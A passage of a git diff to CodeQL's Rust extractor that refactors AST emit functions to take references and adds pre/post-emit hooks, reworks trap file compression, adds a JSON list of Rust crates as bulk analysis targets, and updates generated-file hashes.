pub(crate) fn emit_use(&mut self, node: &ast::Use) -> Option> { + pre_emit!(Use, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let use_tree = node.use_tree().and_then(|x| self.emit_use_tree(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Use { id: TrapId::Star, attrs, use_tree, visibility, }); - self.emit_location(label, &node); - emit_detached!(Use, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Use, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use_bound_generic_args(&mut self, node: ast::UseBoundGenericArgs) -> Option> { - let use_bound_generic_args = node.use_bound_generic_args().filter_map(|x| self.emit_use_bound_generic_arg(x)).collect(); + pub(crate) fn emit_use_bound_generic_args( + &mut self, + node: &ast::UseBoundGenericArgs, + ) -> Option> { + pre_emit!(UseBoundGenericArgs, self, node); + if self.should_be_excluded(node) { + return None; + } + let use_bound_generic_args = node + .use_bound_generic_args() + .filter_map(|x| self.emit_use_bound_generic_arg(&x)) + .collect(); let label = self.trap.emit(generated::UseBoundGenericArgs { id: TrapId::Star, use_bound_generic_args, }); - self.emit_location(label, &node); - emit_detached!(UseBoundGenericArgs, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(UseBoundGenericArgs, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use_tree(&mut self, node: ast::UseTree) -> Option> { + pub(crate) fn emit_use_tree( + &mut self, + node: &ast::UseTree, + ) -> Option> { + pre_emit!(UseTree, self, node); + if self.should_be_excluded(node) { + return None; + } let is_glob = node.star_token().is_some(); - let path = node.path().and_then(|x| self.emit_path(x)); - let rename = node.rename().and_then(|x| self.emit_rename(x)); - let use_tree_list = node.use_tree_list().and_then(|x| self.emit_use_tree_list(x)); + let path = node.path().and_then(|x| self.emit_path(&x)); + let rename = node.rename().and_then(|x| self.emit_rename(&x)); + let use_tree_list = node + .use_tree_list() + .and_then(|x| self.emit_use_tree_list(&x)); let label = self.trap.emit(generated::UseTree { id: TrapId::Star, is_glob, @@ -2494,31 +3602,48 @@ impl Translator<'_> { rename, use_tree_list, }); - self.emit_location(label, &node); - emit_detached!(UseTree, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(UseTree, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_use_tree_list(&mut self, node: ast::UseTreeList) -> Option> { - let use_trees = node.use_trees().filter_map(|x| self.emit_use_tree(x)).collect(); + pub(crate) fn emit_use_tree_list( + &mut self, + node: &ast::UseTreeList, + ) -> Option> { + pre_emit!(UseTreeList, self, node); + if self.should_be_excluded(node) { + return None; + } + let use_trees = node + .use_trees() + .filter_map(|x| self.emit_use_tree(&x)) + .collect(); let label = self.trap.emit(generated::UseTreeList { id: TrapId::Star, use_trees, }); - self.emit_location(label, &node); - emit_detached!(UseTreeList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(UseTreeList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_variant(&mut self, node: ast::Variant) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let discriminant = node.expr().and_then(|x| self.emit_expr(x)); - let field_list = node.field_list().and_then(|x| self.emit_field_list(x)); - let name = node.name().and_then(|x| self.emit_name(x)); - let visibility = node.visibility().and_then(|x| self.emit_visibility(x)); + pub(crate) fn emit_variant( + &mut self, + node: &ast::Variant, + ) -> Option> { + pre_emit!(Variant, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let discriminant = node.expr().and_then(|x| self.emit_expr(&x)); + let field_list = node.field_list().and_then(|x| self.emit_field_list(&x)); + let name = node.name().and_then(|x| self.emit_name(&x)); + let visibility = node.visibility().and_then(|x| self.emit_visibility(&x)); let label = self.trap.emit(generated::Variant { id: TrapId::Star, attrs, @@ -2527,53 +3652,87 @@ impl Translator<'_> { name, visibility, }); - self.emit_location(label, &node); - emit_detached!(Variant, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Variant, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_variant_list(&mut self, node: ast::VariantList) -> Option> { - let variants = node.variants().filter_map(|x| self.emit_variant(x)).collect(); + pub(crate) fn emit_variant_list( + &mut self, + node: &ast::VariantList, + ) -> Option> { + pre_emit!(VariantList, self, node); + if self.should_be_excluded(node) { + return None; + } + let variants = node + .variants() + .filter_map(|x| self.emit_variant(&x)) + .collect(); let label = self.trap.emit(generated::VariantList { id: TrapId::Star, variants, }); - self.emit_location(label, &node); - emit_detached!(VariantList, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(VariantList, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_visibility(&mut self, node: ast::Visibility) -> Option> { - let path = node.path().and_then(|x| self.emit_path(x)); + pub(crate) fn emit_visibility( + &mut self, + node: &ast::Visibility, + ) -> Option> { + pre_emit!(Visibility, self, node); + if self.should_be_excluded(node) { + return None; + } + let path = node.path().and_then(|x| self.emit_path(&x)); let label = self.trap.emit(generated::Visibility { id: TrapId::Star, path, }); - self.emit_location(label, &node); - emit_detached!(Visibility, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(Visibility, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_where_clause(&mut self, node: ast::WhereClause) -> Option> { - let predicates = node.predicates().filter_map(|x| self.emit_where_pred(x)).collect(); + pub(crate) fn emit_where_clause( + &mut self, + node: &ast::WhereClause, + ) -> Option> { + pre_emit!(WhereClause, self, node); + if self.should_be_excluded(node) { + return None; + } + let predicates = node + .predicates() + .filter_map(|x| self.emit_where_pred(&x)) + .collect(); let label = self.trap.emit(generated::WhereClause { id: TrapId::Star, predicates, }); - self.emit_location(label, &node); - emit_detached!(WhereClause, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(WhereClause, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_where_pred(&mut self, node: ast::WherePred) -> Option> { - let generic_param_list = node.generic_param_list().and_then(|x| self.emit_generic_param_list(x)); - let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(x)); - let type_repr = node.ty().and_then(|x| self.emit_type(x)); - let type_bound_list = node.type_bound_list().and_then(|x| self.emit_type_bound_list(x)); + pub(crate) fn emit_where_pred( + &mut self, + node: &ast::WherePred, + ) -> Option> { + pre_emit!(WherePred, self, node); + if self.should_be_excluded(node) { + return None; + } + let generic_param_list = node + .generic_param_list() + .and_then(|x| self.emit_generic_param_list(&x)); + let lifetime = node.lifetime().and_then(|x| self.emit_lifetime(&x)); + let type_repr = node.ty().and_then(|x| self.emit_type(&x)); + let type_bound_list = node + .type_bound_list() + .and_then(|x| self.emit_type_bound_list(&x)); let label = self.trap.emit(generated::WherePred { id: TrapId::Star, generic_param_list, @@ -2581,18 +3740,26 @@ impl Translator<'_> { type_repr, type_bound_list, }); - self.emit_location(label, &node); - emit_detached!(WherePred, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(WherePred, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_while_expr(&mut self, node: ast::WhileExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let condition = node.condition().and_then(|x| self.emit_expr(x)); - let label = node.label().and_then(|x| self.emit_label(x)); - let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(x)); + pub(crate) fn emit_while_expr( + &mut self, + node: &ast::WhileExpr, + ) -> Option> { + pre_emit!(WhileExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let condition = node.condition().and_then(|x| self.emit_expr(&x)); + let label = node.label().and_then(|x| self.emit_label(&x)); + let loop_body = node.loop_body().and_then(|x| self.emit_block_expr(&x)); let label = self.trap.emit(generated::WhileExpr { id: TrapId::Star, attrs, @@ -2600,49 +3767,69 @@ impl Translator<'_> { label, loop_body, }); - self.emit_location(label, &node); - emit_detached!(WhileExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(WhileExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_wildcard_pat(&mut self, node: ast::WildcardPat) -> Option> { - let label = self.trap.emit(generated::WildcardPat { - id: TrapId::Star, - }); - self.emit_location(label, &node); - emit_detached!(WildcardPat, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); - Some(label) - } - - pub(crate) fn emit_yeet_expr(&mut self, node: ast::YeetExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_wildcard_pat( + &mut self, + node: &ast::WildcardPat, + ) -> Option> { + pre_emit!(WildcardPat, self, node); + if self.should_be_excluded(node) { + return None; + } + let label = self.trap.emit(generated::WildcardPat { id: TrapId::Star }); + self.emit_location(label, node); + post_emit!(WildcardPat, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); + Some(label) + } + pub(crate) fn emit_yeet_expr( + &mut self, + node: &ast::YeetExpr, + ) -> Option> { + pre_emit!(YeetExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::YeetExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(YeetExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(YeetExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } - - pub(crate) fn emit_yield_expr(&mut self, node: ast::YieldExpr) -> Option> { - if self.should_be_excluded(&node) { return None; } - let attrs = node.attrs().filter_map(|x| self.emit_attr(x)).collect(); - let expr = node.expr().and_then(|x| self.emit_expr(x)); + pub(crate) fn emit_yield_expr( + &mut self, + node: &ast::YieldExpr, + ) -> Option> { + pre_emit!(YieldExpr, self, node); + if self.should_be_excluded(node) { + return None; + } + if self.should_be_excluded_attrs(node) { + return None; + } + let attrs = node.attrs().filter_map(|x| self.emit_attr(&x)).collect(); + let expr = node.expr().and_then(|x| self.emit_expr(&x)); let label = self.trap.emit(generated::YieldExpr { id: TrapId::Star, attrs, expr, }); - self.emit_location(label, &node); - emit_detached!(YieldExpr, self, node, label); - self.emit_tokens(&node, label.into(), node.syntax().children_with_tokens()); + self.emit_location(label, node); + post_emit!(YieldExpr, self, node, label); + self.emit_tokens(node, label.into(), node.syntax().children_with_tokens()); Some(label) } } diff --git a/rust/extractor/src/trap.rs b/rust/extractor/src/trap.rs index ce739e067f0a..2206c4c067b2 100644 --- a/rust/extractor/src/trap.rs +++ b/rust/extractor/src/trap.rs @@ -1,4 +1,3 @@ -use crate::config::Compression; use crate::{config, generated}; use codeql_extractor::{extractor, file_paths, trap}; use ra_ap_ide_db::line_index::LineCol; @@ -9,7 +8,7 @@ use std::path::{Path, PathBuf}; use tracing::debug; pub use trap::Label as UntypedLabel; -pub use trap::Writer; +pub use trap::{Compression, Writer}; pub trait AsTrapKeyPart { fn as_key_part(&self) -> String; @@ -245,8 +244,7 @@ impl TrapFile { pub fn commit(&self) -> std::io::Result<()> { std::fs::create_dir_all(self.path.parent().unwrap())?; - self.writer - .write_to_file(&self.path, self.compression.into()) + self.writer.write_to_file(&self.path, self.compression) } } @@ -261,12 +259,16 @@ impl TrapFileProvider { std::fs::create_dir_all(&trap_dir)?; Ok(TrapFileProvider { trap_dir, - compression: cfg.compression, + compression: cfg.trap_compression.into(), }) } pub fn create(&self, category: &str, key: impl AsRef) -> TrapFile { - let path = file_paths::path_for(&self.trap_dir.join(category), key.as_ref(), "trap"); + let path = file_paths::path_for( + &self.trap_dir.join(category), + key.as_ref(), + self.compression.extension(), + ); debug!("creating trap file {}", path.display()); let mut writer = trap::Writer::new(); extractor::populate_empty_location(&mut writer); diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json new file mode 100644 index 000000000000..274d5dc5b361 --- /dev/null +++ b/rust/misc/bulk_generation_targets.json @@ -0,0 +1,75 @@ +{ + "strategy": "repo", + "language": "rust", + "targets": [ + { + "name": "libc", + "git_repo": "https://github.com/rust-lang/libc", + "git_tag": "0.2.172" + }, + { + "name": "log", + "git_repo": "https://github.com/rust-lang/log", + "git_tag": "0.4.27" + }, + { + "name": "memchr", + "git_repo": "https://github.com/BurntSushi/memchr", + "git_tag": "2.7.4" + }, + { + "name": "once_cell", + "git_repo": "https://github.com/matklad/once_cell", + "git_tag": "v1.21.3" + }, + { + "name": "rand", + "git_repo": "https://github.com/rust-random/rand", + "git_tag": "0.9.1" + }, + { + "name": "smallvec", + "git_repo": "https://github.com/servo/rust-smallvec", + "git_tag": "v1.15.0" + }, + { + "name": "serde", + "git_repo": "https://github.com/serde-rs/serde", + "git_tag": "v1.0.219" + }, + { + "name": "tokio", + "git_repo": "https://github.com/tokio-rs/tokio", + "git_tag": "tokio-1.45.0" + }, + { + "name": "reqwest", + "git_repo": "https://github.com/seanmonstar/reqwest", + "git_tag": "v0.12.15" + }, + { + "name": "rocket", + "git_repo": "https://github.com/SergioBenitez/Rocket", + "git_tag": "v0.5.1" + }, + { + "name": "actix-web", + "git_repo": "https://github.com/actix/actix-web", + "git_tag": "web-v4.11.0" + }, + { + "name": "hyper", + "git_repo": "https://github.com/hyperium/hyper", + "git_tag": "v1.6.0" + }, + { + "name": "clap", + "git_repo": "https://github.com/clap-rs/clap", + "git_tag": "v4.5.38" + } + ], + "destination": "rust/ql/lib/ext/generated", + "extractor_options": [ + "cargo_features='*'" + ] +} \ No newline at end of file diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 6983e8232562..eb60dccb3e6a 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,30 +1,30 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 3ec9d072adb1abd802800a104716c6896f1874fd1967cbdf55a94644d6203e71 30b03b44f858e00f3688dccaa0804306242d6fcdb077c18a94c601af32c6c703 -lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll bd01b4d17625ee8c0da93231cf2291deb7e57db2c8aaa2c37968553c3144c47e 6e6ac58e09b84d02f461699a25ee80798a1bdc51c1836d9d75f5b52e93ae7ba6 +lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be -lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71 +lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 lib/codeql/rust/elements/ArrayExpr.qll e4e7cff3518c50ec908271906dd46c1fbe9098faa1e8cd06a27f0a6e8d165ed1 fe02a4f4197f57ecd1e8e82d6c9384148ec29d8b106d7f696795b2f325e4a71b lib/codeql/rust/elements/ArrayListExpr.qll 451aedcecb479c385ff497588c7a07fda304fd5b873270223a4f2c804e96b245 a8cb008f6f732215623b5626c84b37b651ca01ccafb2cf4c835df35d5140c6ad lib/codeql/rust/elements/ArrayRepeatExpr.qll 4b7ed5be7d2caaf69f6fc0cd05b0e2416c52d547b1a73fb23d5a13007f75f4dd f6366f21cc48376b5fdf37e8c5c2b19415d4cbdeef09f33bb99cde5cb0f5b0e7 -lib/codeql/rust/elements/ArrayTypeRepr.qll 7d5148c9efaf13e6880b327ca426304f7574608a29e6b8a219ed291003cbe1ae 73a297b0307cd014d08ccb3c00fc57b6c115adadee72a0ebb4c01fcae9e47163 -lib/codeql/rust/elements/AsmClobberAbi.qll e6fcfc3d25ab113b73247f28ff89d16ae1c85797fa43f237cb2fa396ca20bdda 898469a38e3270c8d555e0b87b4fb653434f451175b729928ef437120d42bf18 -lib/codeql/rust/elements/AsmConst.qll a73654a7861100f096b92a0167311664e568a0ddcb8c97b6faabb42ad9630e46 e24f8834e2b8143d35aa107cdbffbc91955341f77574d684d8777ef9e673cd3a -lib/codeql/rust/elements/AsmDirSpec.qll 891e5b23287cca1671eddbe1e53f4d44d5692cebb7b599e1490a4e5694264be8 621f0726d5f50c8237e75323af7955785ed996f54c0422d2443fd6c33efa6346 -lib/codeql/rust/elements/AsmExpr.qll 1b0899fb7c0b6478fa102ccd0d30cac25aeca5c81d102158b15353ca498130c8 3802c40b748976c5b6dfd79315452ab34532ba46caf19fa8fbf557968e8fea74 -lib/codeql/rust/elements/AsmLabel.qll 3c8340aa3312c720d43469fab49b9305319e2ead80e5848245fdcaea3a256341 31207d65417fe639c484c814922dedad5aa418ce1e1a097a6c8d7d81290dd498 +lib/codeql/rust/elements/ArrayTypeRepr.qll a3e61c99567893aa26c610165696e54d11c16053b6b7122275eff2c778f0a52d 36a487dcb083816b85f3eec181a1f9b47bba012765486e54db61c7ffe9a0fcbf +lib/codeql/rust/elements/AsmClobberAbi.qll eb5628916f41ab47e333b4528fba3fb80caecd2805fb20ba4f5c8d59c9677f14 636fce6b3a7f04141d0d3a53734d08a188a45bcc04f755bb66746d4f0a13fa72 +lib/codeql/rust/elements/AsmConst.qll f408468624dd0c80c6dcf62d17e65a94cd477a5a760be1b5fdd07c8189a3b4ea e4159073b3ee6d247e8962ce925da55ea39ee2cd1649f8b785a92aea17dbf144 +lib/codeql/rust/elements/AsmDirSpec.qll 0c439c031c9f60596373aee8ae2ee70068582548ae365a3c7c19c8b5e2b030d2 0127b08b99bd8725cb6273c1a930aef4434897f23611cfc4ec2dd1b7c9d7e3d0 +lib/codeql/rust/elements/AsmExpr.qll 33a9a873ba05235dd80103ed22555eee220a4c0cb86605d0f76bcda316605449 c8a99b7bd55aac41e56d05cd5a52692f1d835ed3e1a1bd029bb41d8e2b81b240 +lib/codeql/rust/elements/AsmLabel.qll 5fa3401c49329ddc845bd95d5f498a455202f685e962dfec9bc91550577da800 f54fe1dcd3c76f36e6abc7b56dc5d6f5b1c30d0fb434db21dd8a1ce731fc6abf lib/codeql/rust/elements/AsmOperand.qll 3987a289233fe09f41f20b27939655cc72fa46847969a55cca6d6393f906969a 8810ff2a64f29d1441a449f5fd74bdc1107782172c7a21baaeb48a40930b7d5a -lib/codeql/rust/elements/AsmOperandExpr.qll 5f32dc9d1123797ec9c821d89118ecae729192fb88b5cbfbff385c80c26118d8 0faa6de658ce0d9a016c3213ae6c160c5d62b98b97a665e26b33dbb8860651f8 -lib/codeql/rust/elements/AsmOperandNamed.qll 1c6978e95c7a270024684934eb531695e79e98d8ed46c4e251cf5c93fb5ba316 00f221bcd285c013e0111859205638435bf4a5d062ca7f0cf0bd98501edc7c69 -lib/codeql/rust/elements/AsmOption.qll d3b282f30d33e9d9b531288eef078eeb556cbfa091d63948bcf55bd59273c683 91a1744541af4c7f316ce9ca7607c8537de6386f0fd56381a8cb7c1744c104c3 -lib/codeql/rust/elements/AsmOptionsList.qll c60a3283233433c31a54d2a2e1a7bafe1c5c57ffdf652d9c9d37536334652416 7cdf7344a8d14052c5a132bb4532c70b8878cdfcdc0df0a608c400df5c4683c2 +lib/codeql/rust/elements/AsmOperandExpr.qll 72d4455cf742dc977b0a33ea21539422aaf2263f36c6f4420ddcb360ac606a0a 03bd01e81b291c915deb20ce33d5bdf73a709fbc007ab7570490e9a8e7c8604c +lib/codeql/rust/elements/AsmOperandNamed.qll c65bcf6f4ad5ebb447873ac170bd5d29dc5fe557f7aaccbdb46a09b2583df673 d7e277e43414ca2c529c5a4e967f4c6cca34ee7239ab1a993558b0731ce9722b +lib/codeql/rust/elements/AsmOption.qll 7ad333a4bb152dbf7c1df0d90424ff20031841822e49b26cc615230b1c186581 9c2a087ea7f7c386eff170337f0c29568dea3d49a570b35207652b08e24a9355 +lib/codeql/rust/elements/AsmOptionsList.qll 3dd55a8b15ada811c9225b0fe9b733eabf22313e7bd1ae6a99fdcb9a6facea07 32d996dde8802e4a2afd8c3624f055cb4e4c18591dc236f3b5bf0c0d4e57f822 lib/codeql/rust/elements/AsmPiece.qll 8650bf07246fac95533876db66178e4b30ed3210de9487b25acd2da2d145416a 42155a47d5d5e6ea2833127e78059fa81126a602e178084957c7d9ff88c1a9a3 -lib/codeql/rust/elements/AsmRegOperand.qll ebc16804e7f45fd88b99caf8b88d34faa0a860b9dedd32a01377c0cde8bea41a 03ceba863d4b9d6c19d1ef0bd27f782d9c6ccc7ffa8339bd8f27954d55cdc5f5 -lib/codeql/rust/elements/AsmRegSpec.qll fb85fe7dba34ad3694624d504423faec4b4e85fb7469192647d721a3d062c00e 1dee3b1e811984d2ed1b9770ad8588535bd4f28d83eccf013389c93593678ff1 -lib/codeql/rust/elements/AsmSym.qll 3a972dc25565bbd4fd73e0616e487c826e6d926f768f0c76f1e7c00a9db0e55b b15d78540da6f566bab12fa29c1ca4cef11380e9a5578ec70e7c893555b0f333 -lib/codeql/rust/elements/AssocItem.qll 5e514287bbe353d1d637991e7af836e5659ad66922df99af68ab61399e7f8f9a 3733af54938271161ee2720c32ac43228d519b5c46b7cea1e4bbe3dc634f8857 -lib/codeql/rust/elements/AssocItemList.qll ee719e7105a1936e2dd6cda0c55c73ff2704b6461861b2503ed86198484e4c06 de26c8127fd643b8b4567c0ce39511050f7ceefa0075a48a8ad03d50f56a1142 -lib/codeql/rust/elements/AssocTypeArg.qll a01fb46212bed37224841e9aa3909290e720fdaffc7e443cf8a52f6bf7111ff4 9783f77b4983df46f054a18d339107fa17e5f392c360a772811ccf3bb9da32a1 +lib/codeql/rust/elements/AsmRegOperand.qll 27abfffe1fc99e243d9b915f9a9694510133e5f72100ec0df53796d27a45de0c 8919ab83081dae2970adb6033340c6a18751ffd6a8157cf8c55916ac4253c791 +lib/codeql/rust/elements/AsmRegSpec.qll 77483fc3d1de8761564e2f7b57ecf1300d67de50b66c11144bb4e3e0059ebfd6 521f8dd0af859b7eef6ab2edab2f422c9ff65aa11bad065cfba2ec082e0c786b +lib/codeql/rust/elements/AsmSym.qll ba29b59ae2a4aa68bdc09e61b324fd26e8b7e188af852345676fc5434d818eef 10ba571059888f13f71ac5e75d20b58f3aa6eecead0d4c32a7617018c7c72e0e +lib/codeql/rust/elements/AssocItem.qll 89e547c3ce2f49b5eb29063c5d9263a52810838a8cfb30b25bee108166be65a1 238fc6f33c18e02ae023af627afa2184fa8e6055d78ab0936bd1b6180bccb699 +lib/codeql/rust/elements/AssocItemList.qll 5d2660e199e59647e3a8b6234531428f6e0a236ed2ced3c9fede13e7f83a5ba5 a2a8e87ab8978f77a70e4c0a8cc7322c522fc4a7a05116646a2b97a2f47428a4 +lib/codeql/rust/elements/AssocTypeArg.qll 6ceeec7a0ec78a6f8b2e74c0798d4727ad350cebde954b4ffe442b06e08eb4aa d615f5cd696892518387d20f04dae240fb10ee7c9577028fb6f2a51cd9f5b9e4 lib/codeql/rust/elements/AstNode.qll 5ee6355afb1cafd6dfe408b8c21836a1ba2aeb709fb618802aa09f9342646084 dee708f19c1b333cbd9609819db3dfdb48a0c90d26266c380f31357b1e2d6141 -lib/codeql/rust/elements/Attr.qll 53887a49513b95e38344b57d824a7474331467561f1edf38d5ca608d8cefa0cd 2e9eeb32ba6cc186691897979e30d32bc6eaff523e37064ee84cf09ded5afe17 +lib/codeql/rust/elements/Attr.qll 2cb6a6adf1ff9ee40bc37434320d77d74ae41ff10bbd4956414c429039eede36 e85784299917ad8a58f13824b20508f217b379507f9249e6801643cf9628db1e lib/codeql/rust/elements/AwaitExpr.qll d8b37c01f7d27f0ec40d92a533a8f09a06af7ece1ae832b4ea8f2450c1762511 92cdb7ff0efddf26bed2b7b2729fddd197e26c1a11c8fec0c747aab642710c21 lib/codeql/rust/elements/BecomeExpr.qll 7a3cfc4894feb6be1cde664f675b18936434e68ccea52e55314c33d01491e34f 49666eca509b30d44bb02702bda67239c76bf8d9f231022c9cf6ecca123f8616 lib/codeql/rust/elements/BinaryExpr.qll 394522da3bc3a716fc7bc40c3560143ca840f5d210cfcba2a752c3026dd0f725 fbbd6fb79bf16a7d9820613654c584cd7ff3e7a29988f3920b6cfbe746acfd8d @@ -35,204 +35,203 @@ lib/codeql/rust/elements/CallExpr.qll f336500ca7a611b164d48b90e80edb0c0d3816792b lib/codeql/rust/elements/CallExprBase.qll 2846202b5208b541977500286951d96487bf555838c6c16cdd006a71e383745a c789d412bf099c624329379e0c7d94fa0d23ae2edea7a25a2ea0f3c0042ccf62 lib/codeql/rust/elements/Callable.qll e1ed21a7e6bd2426f6ccd0e46cee506d8ebf90a6fdc4dca0979157da439853aa 02f6c09710116ce82157aec9a5ec706983c38e4d85cc631327baf8d409b018c6 lib/codeql/rust/elements/CastExpr.qll 2fe1f36ba31fa29de309baf0a665cfcae67b61c73345e8f9bbd41e8c235fec45 c5b4c1e9dc24eb2357799defcb2df25989075e3a80e8663b74204a1c1b70e29a -lib/codeql/rust/elements/ClosureBinder.qll 977df800f97cc9b03fffb5e5e1fc6acd08a2938e04cb6ad91108784a15b0d510 f6fad4127226fe1dff2f16416d8a7fde5d8ab4a88f30e443ac5e5ff618de3e05 +lib/codeql/rust/elements/ClosureBinder.qll 02c8e83bf07deaf7bf0233b76623ec7f1837be8b77fe7e1c23544edc7d85e3c4 2b114d9a6dede694324aebe3dac80a802d139cfacd39beb0f12b5b0a46ee6390 lib/codeql/rust/elements/ClosureExpr.qll 67e2a106e9154c90367b129987e574d2a9ecf5b297536627e43706675d35eaed d6a381132ddd589c5a7ce174f50f9620041ddf690e15a65ebfb05ff7e7c02de7 lib/codeql/rust/elements/Comment.qll fedad50575125e9a64a8a8776a8c1dbf1e76df990f01849d9f0955f9d74cb2a6 8eb1afad1e1007a4f0090fdac65d81726b23eda6517d067fd0185f70f17635ab -lib/codeql/rust/elements/Const.qll bf6c62e79da145aa50ee9d24278510c3762cad921bfe76684b20fac4895653ef 31df5752216725a88d53cfc4a1432fa6cdc39251a8560d695135c55185ab22dd -lib/codeql/rust/elements/ConstArg.qll f37b34417503bbd2f3ce09b3211d8fa71f6a954970c2738c73be6c55f204e58e 15ef5e189b67cfdfe4d16909e0b411ac8fdd4ef187c328bdede03a1a5e416b54 +lib/codeql/rust/elements/Const.qll 8b9c66b59d9469a78b2c696b6e37d915a25f9dd215c0b79b113dc7d34adca9e3 7b8213bf21403a1f8b78ea6a20b716f312b26fee5526111602482a2e985e8ac5 +lib/codeql/rust/elements/ConstArg.qll 01865b3be4790c627a062c59ea608462931abcb2f94a132cf265318664fd1251 a2c6bbf63dbfa999e511b6941143a51c9392477d8ccd25e081f85475936ff558 lib/codeql/rust/elements/ConstBlockPat.qll a25f42b84dbeb33e10955735ef53b8bb7e3258522d6d1a9068f19adaf1af89d9 eeb816d2b54db77a1e7bb70e90b68d040a0cd44e9d44455a223311c3615c5e6e -lib/codeql/rust/elements/ConstParam.qll 248db1e3abef6943326c42478a15f148f8cdaa25649ef5578064b15924c53351 28babba3aea28a65c3fe3b3db6cb9c86f70d7391e9d6ef9188eb2e4513072f9f +lib/codeql/rust/elements/ConstParam.qll 87776586f7ff562ff3c71373f45cf70486f9a832613a0aaac943311c451cc057 67a31616688106d5130951f2162e5229bff0fde08ff647943663cac427d7048b lib/codeql/rust/elements/ContinueExpr.qll 9f27c5d5c819ad0ebc5bd10967ba8d33a9dc95b9aae278fcfb1fcf9216bda79c 0dc061445a6b89854fdce92aaf022fdc76b724511a50bb777496ce75c9ecb262 -lib/codeql/rust/elements/Crate.qll 37e8d0daa7bef38cee51008499ee3fd6c19800c48f23983a82b7b36bae250813 95eb88b896fe01d57627c1766daf0fe859f086aed6ca1184e1e16b10c9cdaf37 